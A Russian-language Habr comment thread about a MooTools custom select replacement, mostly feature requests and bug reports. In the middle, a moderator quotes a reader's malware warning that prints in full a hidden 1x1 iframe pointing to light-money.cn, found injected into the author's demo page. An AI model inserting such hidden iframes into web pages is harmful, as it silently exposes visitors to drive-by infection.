Как стать автором
Обновить

Комментарии 76

автор цены бы вам и вашему компоненту не было, если бы ваш select еще обладал включаемым режимом text, для ввода произвольного текста
я бы враз перешел на ваш вариант
но и так — просто отлично!
Как опцию — могу сделать. Только надо подумать, как технически это реализовать.
Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)
как вариант иногда приходится перечислять не весь список значений, просто потому что он очень большой по определению

скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
здесь очень пригодится возможность пользователю уточнить список и ввести данные руками

это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала
То есть нужно:

1. Режим ввода текста
2. Колбэк, который вызывается при вводе каждого символа
3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста

еще?
мне достаточно только 1 пункта
остальное я бы делал сам
калбэк на нажатие кнопок мне не нужен, не вижу пока применения
и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок
В принципе да, пунктом 4 можно все решить.
Но только вот не хотелось бы добавлять ненужную функциональность в этот же класс.

Пожалуй, расширю этот класс другим, и обзову его как нибудь типа CustomSelectText.
согласный
вы не против, если потом я в меру своих способностей попытаюсь перенести элемент в jQuery (если получится)?
Нет конечно)
и пожалуйста отпишитесь о результатах
даже в стандартном элементе (на странице с примером) нет режима ввода текста, но если список открыть на набрать первую (пырвые) буквы слова, оно выделится. При больших списках это становится критично, а при малых — можно обойтись radio button'ом

но компонент, конечно, знатный получился =) Спасибо)
> но если список открыть на набрать первую (пырвые) буквы слова, оно выделится

Добавил данную функциональность
Ну и конечно же что при вводе текста должно/может происходить? (тоже нужны варианты).
Такой контрол называется ComboBox ;)
ну не все же с Delphi знакомы :)
Ну не обязательно Delphi (сам не знаком с ним на практике).
И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.
да, вы правы
просто забыл что в Windows Forms он тоже называется ComboBox
в asp.net его нет, select называется DropDownList
Да, все верно, в ASP.NET это DropDown, а ComboBox у них там в WinForms, WPF, MS Office Controls, может еще где-то…
Ну у ComboBox было свойство, названия уже не вспомню, как раз от его значения зависело, можно писать свои варианты, или нельзя. То бишь ComboBox мог быть разным =)
есть готовое решение тут:
готовое решение комбобокса есть тут:
dhtmlx.com/docs/products/dhtmlxCombo/index.shtml

Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).
платное для коммерческого использования
не айс, хотя это то что надо
спасибо
знаю что не айс, но если срочно нужно, то может и пригодиться

будем надейтся автор топика напишет CustomSelectText
> будем надейтся автор топика напишет CustomSelectText
Над этим уже работаю)
За этот пример спасибо!
Всю ночь вчера сидел ковырялся с editable mode для своего комбобокса, а тут можно и посмотреть, как должен себя вести комбобокс в таких случаях.
насчет стандартного поведения, у меня так не закрывается при повторном клике на нем. Убунта + firefox3
Спасибо — учел. Исправлю обязательно.
Уже исправил)
В стандартном селекте можно набирать первую букву и будет переходить фокус сразу…
также стандартный реагирует на page up, page down и alt+arrow. А также изменяет внешний вид при нажатии.
Спасибо, учёл.
Исправил. Сейчас реагирует на page up, page down и alt+arrow, а так же на home и end.
в mootools 1.2 не надо писать new Event(e), e уже расширен спомощью new Event, это происходит автоматически.
вместо
var li = new Element('li');
li.set('text', option.get('text') );
li.inject( this.selectbox );
li.setProperty('index', option.index);
можно писать
var li = new Element('li')
.set('text', option.get('text') )
.inject( this.selectbox )
.setProperty('index', option.index);
вместо
this.currentElement = li;
this.currentElement.addClass('selected');
можно
this.currentElement=li.addClass('selected');
Внёс правки в код
Спасибо, уберу это. Привык к 1.1)
Ура, а то NiceForms как-то подзаебал уже своими лагами. ^_^
Ну у меня же только select, а не все элементы формы)
Используйте ExtJS
на mac-styled select'е видны непрозрачные краешки, надо бы поправить =)
Поправлю картинки. Под рукой просто нормального редактора графики нет)
В ie6 обычные комбо-боксы, стилей нет.
Понятно, спасибо. Значит там есть ошибки. Доберусь до компа с IE6 — все поправлю.
Поставь IETester!
в ie6 пока не уберешь русские коменты или не сохранишь в utf-8 custom_select.js не работало. Также надо добавить в a.aqua overflow: hidden
респект за правильный курсор :) честно респект, т.к. в рунете общепринято «мощно жмакнуть — нужен палец».
А кастомный скролл ожидается?
Да, кастомный скролл будет обязательно. Сейчас уберу сначала все косяки, потестирую и займусь кастомным скроллом.
На данный момент управление стрелками тоже не работает (FF 2.0.16).
у меня работает (ff 2.0.0.16)
НЛО прилетело и опубликовало эту надпись здесь
Очень нужная штука, респект автору!
Нам пришло письмо от внимательного пользователя, позволю себе привести из него цитату:
Я являюсь постоянным посетителем хабра (в качестве читателя). Сегодня я случайно обнаружил троян в ссылке одного из авторов на прилагаемое демо. Статья называется «Замена стандартного select с использованием Mootools», находится на данный момент второй по счету на индексе. В тексте статьи есть ссылка на демо, в которой помимо кода примера к статье имеется след. строчка:
<iframe src='http://light-money.cn/spl/index.php' width='1' height='1' style='visibility: hidden;'></iframe
Обнаружено было случайно, при желании изучить хтмл-код приведенный автором. Касперский троян не обнаружил, хотя обновления установлены последние. Хотел зарегистироваться и предупредить пользователей, но увы — регистрация оказалась недоступной. Убедительная просьба принять меры по удалению трояна или статьи во избежании заражения компьютеров пользователей.

Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!
на этом сайте imaker.ru/ на каждой странице такой iframe.
Почистил от ифреймов. Интересно, откуда такое заражение появляется? Кто-нибудь сталкивался?

Я этим сайтом не один пользуюсь и у меня подозрение, что кто-то из моих коллег периодически заражает хостинг, заходя туда по ftp).
скорее всего был сплоит, сейчас страница отдает 404
В опере 9.25 у второго кастомного селекта не появляется скролл, а не влезшие пункты просто выпадают. Для сравнения, скрин из фф 3.
В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.
Можете куда-нибудь выложить этот standalone IE? Я бы под него поправил косяки.
Поставьте MultipleIE — неплохая, в общем, штука
отлично, юзал раньше elSelect.js, но он не обрабатывал события, чуть подправил чтобы эмулировал onChange, но ваш явно лучше. плюсанул в топик, в карму почему-то не получилось.
желаю багфиксов и дальнейшего развития!
Bonch, Ваш сайт в данный момено ломают. В демке над примером виден список всех файлов вашего хостинга.
Это не ломают, это я, дурак, забыл лог выключить обработанных файлов (робот удаляет вражеские iframe, пока так сделал:) ).
Вопрос ко всем — я тут над алгоритмом думаю, пока ничего хорошего не придумал, может общественность поможет?

В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.

Как это сделать наиболее легким путем?
НЛО прилетело и опубликовало эту надпись здесь
Вот, оказывается, какое сложное все-таки поведение у select! Сразу всего и не заметишь.
Спасибо — внёс в todo.
Замечательно получается.
А если сделать поддержку многострочных пунктов — кодеры будут «кипятком писать».
Как раз этим сейчас и занимаюсь)
Будет еще поддержка optgroup и disabled.
а есть нечто похожее для jQuery? ))
Кстати было бы здорово, если js-либы были в utf-8. А то комментарии в файлах нечитабельные =)))

А так все здорово!
Обновите пожалуйста файлы. А то не возможно скачать и демо не поссмотришь.
А есть возможность добавлять произвольный текст? и да выложите пожалуйста файлы в другое место
Актуально — посмотреть надо, а сайт не работает :(
Жаль демо не работает, как раз ищу подобное решение
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории